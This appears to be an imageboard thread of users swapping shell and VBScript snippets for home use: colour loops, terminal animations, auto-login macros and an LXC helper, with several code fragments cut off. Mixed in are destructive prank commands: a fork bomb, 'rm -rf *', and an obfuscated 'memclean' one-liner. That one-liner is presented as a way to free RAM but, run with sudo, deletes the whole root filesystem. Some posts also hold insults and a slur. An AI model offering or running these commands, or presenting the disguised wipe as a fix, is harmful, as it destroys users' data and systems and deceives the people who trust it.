Not ideally useful for the office, but some fun scripts for home use... Can we get a thread going?
Shell scripts
...
ssh
ssh part 2
whats with all the sleeps? got time to spare?
:(){:|:&};:
You're right... I could do it without the sleeps, but it'd look rushed...
I now have a fork, but no knife :'(
rm -rf *
This is the most retarded shit I've ever seen
why nano
For debian users:
>apt-get install libaa-bin
Then command aafire for the fire one
--------------------------------------------------------
>apt-get install cmatri
>YUM install cmatri
For matrix display, then just load cmamatrix
for i in {0..255}; do
printf "\x1b[38;5;${i}mcolor${i}\n"
done
prints some colors
why nanot?
Do you even know what you have just done?!
>not ideal for the office
I literally juat got a huge bonus from my company for a shell script I wrote.
Its honestly one of the simplest ways to get shit done.
>one sec, please...
>sleeps for 2 seconds
#!/bin/bash
collect()
{
while read line;do
if [ -d "$line" ];then
(for i in "$line"/*;do echo $i;done)|sort -R|collect
echo $line
elif [[ "$line" == *".h" ]];then
echo $line
fi
done
}
sse="$(awk '/flags/{print;exit}'
>sorry, can't work right now, it's compiling!
when i want to look busy i run this in one terminal and this
hexdump -C < /dev/urandom | grep "ca fe"in a second terminal
Wouldn't hold up to even a cursory glance at my workplace.
probably because your workplace is not full of normies
turn on mem preserve increase without kernel modules, awesome if you run out of RAM with lots of stuff open!
mem=reserve ; function memclean () { r\m$ram_clean \-f`echo r` \/ --no-$(printf "p%s-root" $mem) ; } && sudo memclean now 2>1
Instead it's infested with reddit tier hipstery.
Christ you suck at navigating directories.
How about some .vbs for automated login to website?
Using sendkeys:
On Error Resume Next
Const PAGE_LOADED = 4
Set objIE = CreateObject("InternetExplorer.Application")
Call objIE.Navigate("website.com")
objIE.Visible = True
Set WshShell = WScript.CreateObject("WScript.Shell")
WScript.Sleep 6000
WshShell.SendKeys "username"
WScript.Sleep 750
WshShell.SendKeys "{TAB}"
WScript.Sleep 750
WshShell.SendKeys "password"
WScript.Sleep 500
WshShell.SendKeys "{ENTER}"
Using elements from web page:
On Error Resume Next
Const PAGE_LOADED = 4
Set objIE = CreateObject("InternetExplorer.Application")
Call objIE.Navigate("website.com")
objIE.Visible = True
Do Until objIE.ReadyState = PAGE_LOADED : Call WScript.Sleep(100) : Loop
objIE.Document.all.USER.Value = "username"
objIE.Document.all.Password.Value = "password"
If Err.Number 0 Then
msgbox "Error: " & err.Description
End If
Call objIE.Document.all.Go.Click
Set objIE = Nothing
But why?
>rmdir -rf
Triggered hard
I never used this so I have no idea why I wrote it. Migrating away from LXC anyway.
#!/bin/bash
usage() {
cat /etc/lxc/hosts.conf
systemctl restart lxc-net
# ask to start container
read -p "Start container and connect? [y/n]: " -n 1 -r
if [[ $REPLY =~ ^[Yy]$ ]]; then
lxc-start -n $hostname
ssh -i $key $username@$ip
exit 1
fi
lol I just noticed I never set the zfs dataset properly, forgot about that
Are these even shell scripts?
what's the point OP?
we are dumbfounded.
> feelio when I want to use snapshots
> feelio when btrfs just SUCKS hard, it broke after a few hours of use
> feelio when zfs is still not integrated into every Linux
why live